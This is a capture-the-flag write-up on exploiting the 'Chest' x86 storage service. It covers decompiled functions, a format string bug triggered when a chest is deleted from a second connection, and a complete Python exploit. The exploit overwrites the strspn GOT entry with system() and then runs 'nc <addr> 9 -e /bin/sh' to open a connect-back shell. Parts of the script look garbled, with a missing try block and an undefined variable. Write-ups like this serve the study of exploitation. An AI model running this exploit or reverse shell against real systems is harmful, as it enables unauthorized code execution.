Initial analysis

Chest is an x86 binary which stores user specified strings and writes them out to a file. The binary allows users to have multiple chests. A user can specify a previously created chest when they connect to the service and interact with that chest. All user strings are passed through a filter to disallows certain characters, often these filtered characters are then passed as the format specifier to a dprintf(). We also quickly realized that this binary imports system(), always a dead giveaway for how you are supposed to exploit it.

void __cdecl clientHandler()
  int v0; // [sp+18h] [bp-40h]@7
  int v1; // [sp+1Ch] [bp-3Ch]@7
  int v2; // [sp+20h] [bp-38h]@7
  int v3; // [sp+24h] [bp-34h]@7
  int v4; // [sp+28h] [bp-30h]@7
  int v5; // [sp+2Ch] [bp-2Ch]@7
  char src[26]; // [sp+32h] [bp-26h]@1
  __off_t v7; // [sp+4Ch] [bp-Ch]@16

  dprintf(fd, "Welcome to the Adventurers' storage room!\n");
  dprintf(fd, "If you don't yet have a personal chest, you can use this one: %s\n", dest);
  dprintf(fd, "Which chest to you wish to access? [%s]: ", dest);
  src[readBytes(fd, src, 25, 10)] = 0;
  if ( src[0] != 10 )
    filterChars(src, dest);
  filefd = open(template, 2);
  if ( filefd < 0 )
    dprintf(fd, "Hmmm, I can't seem to find the chest ");
    dprintf(fd, (const char *)dest);
    dprintf(fd, ". Goodbye!\n");
  dprintf(fd, "Using chest ");
  dprintf(fd, (const char *)dest);
  dprintf(fd, "\n\n");
  ftruncate(filefd, 999);
  while ( 1 )
    v0 = (int)"View items";
    v1 = (int)"Store an item";
    v2 = (int)"Take an item";
    v3 = (int)"Leave";
    v4 = (int)"Destroy the chest";
    v5 = 0;
    switch ( getChoice((int)"What do you want to do?", (int)&v0) )
      case 1:
      case 2:
      case 3:
      case 4:
        dprintf(fd, "Goodbye, have a nice day!\n");
      case 5:
        dprintf(fd, "You blow up the chest. BOOM!!!\nGoodbye.\n");
        ftruncate(filefd, 0);
    flock(filefd, 1);
    v7 = lseek(filefd, 0, 2);
    flock(filefd, 8);
    if ( v7 > 999 )
      dprintf(fd, "The chest has become so full that it has exploded.\nGoodbye.\n");
      ftruncate(filefd, 0);

Discovering the vulnerability

Though we did not initially spot the exact cause of the vulnerability we had a few strong assumptions. Firstly, being that user specified strings are being passed as format specifiers is suspicious whether they are filtered or not. This led us to the strong suspicion that we were looking for a format string vulnerability. Secondly since two users could interact with the same chest at the same time we suspected that interactions with multiple simultaneous connections could have problems.

Ultimately we were able to find and exploit the vulnerability without fully understanding the root cause. We realized we could control the format specifiers to one of the dprintf() calls. The steps were: *connected to one chest *filled up the chest with strings (this step turned out to be unnecessary) *connect to the same chest while keeping the first connection open *delete the chest from the second connection *store format string specifiers on the original connection *then finally view the chest

After the competition was over we went back and looked at the binary again, to discover the root cause of the vulnerability. We realized that the "ViewItems() function could be vulnerable to a format string if the file handle was closed, causing the read from the file to fail and thus leaving the stack uninitialized. The values on the stack just so happen to be our format string placed their from the previous call to StoreItems()

int __cdecl ViewItems()
  int v0; // ebx@2
  char v2[508]; // [sp+1Ch] [bp-1FCh]@2

  flock(filefd, 1);
  lseek(filefd, 0, 0);
    v0 = readBytes(filefd, v2, 499, 0);  //If the file doesn't exist any more this function will fail.
    dprintf(fd, v2);  //This will now try to print uninitialized data from the stack...which just happens to contain our format string
  while ( v0 > 0 );
  flock(filefd, 8);
  return dprintf(fd, "\n");


Exploitation was straight forward once a client for the application was written. We leveraged the format string vulnerability to overwrite the .got entry of strspn which is convenient since its first parameter is our string. We overwrote the .got entry with a pointer to the .plt entry of system(). Since the sys admins were nice enough to give us a version of netcat which has the "-e" option providing a connect back shell was trivial. The only caveat being that the command executed has to be less than 26 bytes. The following script is what was used to gain code execution during the competition, it also has our bad assumption that the chest had to be filled prior to exploitation.

import socket
import struct
import sys

def readlines(s, n):
        buf = ""
        for a in range(n):
                buf += readline(s)
        return buf

def readline(s):
        buf = ""
        while True:
                        cur = s.recv(1)
                        buf += cur
                        if cur == "\n":
                except socket.error:
        return buf

connectBackAddr = sys.argv[2]
command = "nc " + connectBackAddr + " 9 -e /bin/sh"
if len(command) > 25:
        raise ValueError("command is > 25")
s1 = socket.socket()
s1.connect((sys.argv[1], 1282))

line = readline(s1)
chestNum = line[-11:-1] #grabe the chest number
print "ChestNum '%s'" % chestNum

s1.send(chestNum + "\n") #send chestNum

readlines(s1, 9)        #consume the menu

#Fill up the chest
for a in range(36):
        s1.send("2\n") #send num
        readlines(s1, 1)

#Now connect again to the service
s2 = socket.socket()
s2.connect((ip, 1282))
readlines(s2, 2)                        #consume welcome message
s2.send(chestNum + "\n")        #send chestNumber
readlines(s2, 9)                        #consume menu
s2.send("5\n")                          #send "destroy chest" command
readlines(s2, 3)                        #consume the rest of the message

#The service is now in an exploitable state   
s1.send("2\n")                          #Now store another item in the chest

#this is pretty ugly but I don't care because it works (dont judge me)
#essentially what this does is overwrites the strspn got entry with a pointer
#to the plt entry of system() thus allowing us to get an arbitrary 25 char
#command to be run
strspn_got = 0x0804ABF0
sys_plt_bot = 0x8790-54
sys_plt_top = 1994 - 0x800 + ((0x0804-sys_plt_bot)& 0xffff)
s1.send("CCCC" + struct.pack("<LLLL", strspn_got, strspn_got, strspn_got+2, strspn_got+2) + ("%x" * 6 ) + "%" + str(sys_plt_bot) + "x%hn%" + str(sys_plt_top) + "x%hn\n")


print readline(s1)
readlines(s1, 7)

s1.send(command + "\n")
readlines(s1, 50)